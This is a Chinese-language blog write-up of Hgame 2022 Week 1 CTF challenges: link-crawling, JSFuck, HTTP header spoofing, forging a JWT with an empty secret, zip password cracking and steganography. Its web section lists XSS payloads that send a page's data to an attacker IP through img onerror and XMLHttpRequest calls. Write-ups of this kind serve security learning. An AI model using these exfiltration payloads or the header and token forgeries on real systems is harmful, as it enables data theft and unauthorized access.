Hgame 2022 WP Week1

Web

蛛蛛...嘿嘿♥我的蛛蛛

  1. 这题比较简单,主要是要写代码,手找也可以,就是有100个页面。

  2. 简单分析一下


    1. 第一个页面有一个href
    2. 第二个页面有两个按钮,但只有一个href。
    3. href的位置是随机生成的,比如第87个页面,就会在87个按钮中随机生成一个href。

    4. 可以用手来一个一个找,但还是推荐代码。

        from asyncio import futures
        import bs4
        from pip import main
        import requests
        
        def ph(value):
            url = "https://hgame-spider.vidar.club/b6d50742e0"
            url = url+value
            res = requests.get(url=url).text
            soup = bs4.BeautifulSoup(res, features="lxml")
            ret = ""
            for i in soup.find_all("a"):
                if i.get("href"):
                    # print(i.get("href"))
                    ret = i.get("href")
            h1_res = soup.find_all("h1")
            for i in h1_res:
                print(i.text)
            p_res = soup.find_all("p")
            for i in p_res:
                print(i.text)
        
            return ret
        
        def fb(value):
            if value == "":
                return
            else:
                v = ph(value)
                print(v)
                fb(v)
        
        if __name__ == '__main__':
            fb("?key=ceoAJjVsz0a9lFv7itjDZttUbKf0DNiNVOhUAG02mggmZiyTgNHXdRZ1QaHzCAPnYF3oB%2BrW1pe5YGzQtnb1iQ%3D%3D")
    


    1. 最后在101个页面找到了,flag最后还再套了一下,在响应头里面的。
  3. flag: hgame{a0204768e95392d881bcd5a5f2f3c92329287db7d7d88a1301f1978e0084c2c2}

  4. 最后还总结一下这个过程中还用的别的XSS内容,虽然没用成功。


    1. img/input onerror报错执行JS代码<img src="" onerror="var img=document.createElement('img'); img.src='http://[IP]:10020/'+flag; document.body.appendChild(img);">
    2. <details open ontoggle=document.getElementsByClassName('name')[0].innerText=flag>
    3. 基于1的前提下,调用HTTP请求<img src="" onerror="var flag = window.flag; const Http = new XMLHttpRequest();const url='http://114.215.169.56:10020/'+flag;Http.open('GET', url);Http.send();Http.onreadystatechange = (e) => {console.log(Http.responseText)}">
    4. 参考的博客
      1. https://mp.weixin.qq.com/s/Egf7sjVvviTESNYEds-pmQ
      2. https://www.cnblogs.com/wjrblogs/p/12341190.html

###Tetris plus

  1. 这题提示是游戏,那就是js的问题,然后说3000分,直接搜索3000就行。
  2. 第一个提示是说:flag 貌似被藏起来了,再找找吧!
    3. 下面注释的是JSfuck,直接丢控制台里跑就行。
  3. flag: hgame{jsfuck_1s_S0_fUu1n}

Fujiwara Tofu Shop

  1. 这题是看着WP做出来的,当时Cookie那边卡住了,没注意响应头

  2. 请求来源需要为qiumingshan.net

  3. 改User-Agent为Hachi-Roku

  4. 发现需要发送Cookie


    1. 这里就卡住了,说是发送Cookie为Raspberry,但当时没注意响应头中有Set-Cookie。

    2. 将Cookie设为这个就可以了
  5. 相应后说需要添加汽油


    1. 这里也可以通过相应头中有Gasoline发现为0,设为100后在发送就可以了。
  6. 最后说是要从本地发送请求


    1. 尝试用X-Forwarded-For
    2. 还可以用X-Real-IP
  7. 最后的payload:

cookie: flavor=Raspberry; Path=/; Domain=localhost; Max-Age=3600; HttpOnly
gasoline: 100
referer: qiumingshan.net
User-Agent: Hachi-Roku
x-real-ip: 127.0.0.1
  1. flag:hgame{I_b0ught_4_S3xy_sw1mSu1t}

easy_auth

  1. 这个题也是看WP出的,学到了点新东西。
  2. 先是注册,登陆后。
  3. 通过WP的提示,可以通过浏览器查看到token的位置。
  4. 通过字符串头发现是JWT,然后丢JWT解码一下(jwt.io)
  5. 获取到这些内容,发现检验失败(WP原话)。
  6. 根据WP提示清空了secret,可以检验成功。
  7. 改为id为1,Username为admin,进行JWT加密后,修改本地token。
  8. 获得flag
  9. flag:hgame{S0_y0u_K1n0w_hOw_~JwT_Works~1l1lL}

Misc

这个压缩包有点麻烦

  1. 这题就真的套娃,以为出了,然后里面还有一层,超级大起大落。

  2. 第一层:爆破



    六位数字

    密码为:483279

  3. 第二层:字典爆破


    1. 看提示说是字典

    2. 给了字典的直接拿字典爆就行

    3. 很快就爆出来了

    4. 密码为:&-`;qpCKliw2yTR\

  4. 第三层:明文攻击


    1. 提示是store存储,开始还不知道是什么东西,后面发现就是仅存储模式。

    2. 这里卡了很久,开始以为是7z的问题,后面发现是明文攻击需要保证压缩的工具一致,不然算法不一样就会报错。

    3. 用bandiZIP打开后发现和外面一样有一个README文件,便判断为明文攻击。

    4. 将README文件压缩后发现CRC一致,验证了想法。

    5. 可以发现存储方法这边,加密文件是用的Store方法,就是仅存储,不压缩的方式,开始甚至不知道XD。

    6. 然后用7z选定为仅存储即可

    7. 这样压缩的文件只是起到了一个打包的作用,不会压缩,基本上就是秒压缩。


      这样就保证了一致性。

    8. 将README文件当作明文文件进行攻击




  5. 第四层:文件隐写


    1. 打开图片后发现只有这个说明还没做完
    2. 用binwalk分析后提取出了压缩包
    3. 压缩包有加密
  6. 最后一层:伪加密


    1. 尝试用ZipCenOp解除加密,发现解除成功了。
    2. 然后就可以直接解压zip文件,得到flag
    3. flag为:hgame{W0w!_y0U_Kn0w_z1p_3ncrYpt!}

好康的流量

  1. wireshark打开流量包后,发现有SMTP协议,然后直接跟踪。

  2. 发现内容是以base64的方式加密的图片,丢cyberchef解密。

  3. 把图片丢到stegsolve里看看是不是隐写。

  4. 在green plane 2发现有条形码

  5. 解码发现只有一半。

  6. 再通过在看LSB发现另一半。

  7. flag为:hgame{ez_1mg_Steg4n0graphy}

群青(其实是幽灵东京)

  1. 这题也是大意了,通过频谱看到了Yoasobi后,也用上了silenteye,但不知道把Yoasobi作为密钥来解密。

  2. 拿到音频文件后,用AU打开看频谱,得到Yoasobi

  3. WP上说详细信息里说了有提示用silenteye,当时没看见,也用了silenteye。

    Mac上也可以看到

  4. 然后就是通过silenteye把Yoasobi作为密钥进行解密,得到链接。

  5. 下载下来的音频可以通过文件名发现是SSTV的传输,也可以用听的hhhh。

  6. 扫码获得flag:hgame{1_c4n_5ee_the_wav}

ee_the_wav}`

本文链接:

https://yuno0n.top/index.php/archives/48/
1 + 6 =
快来做第一个评论的人吧~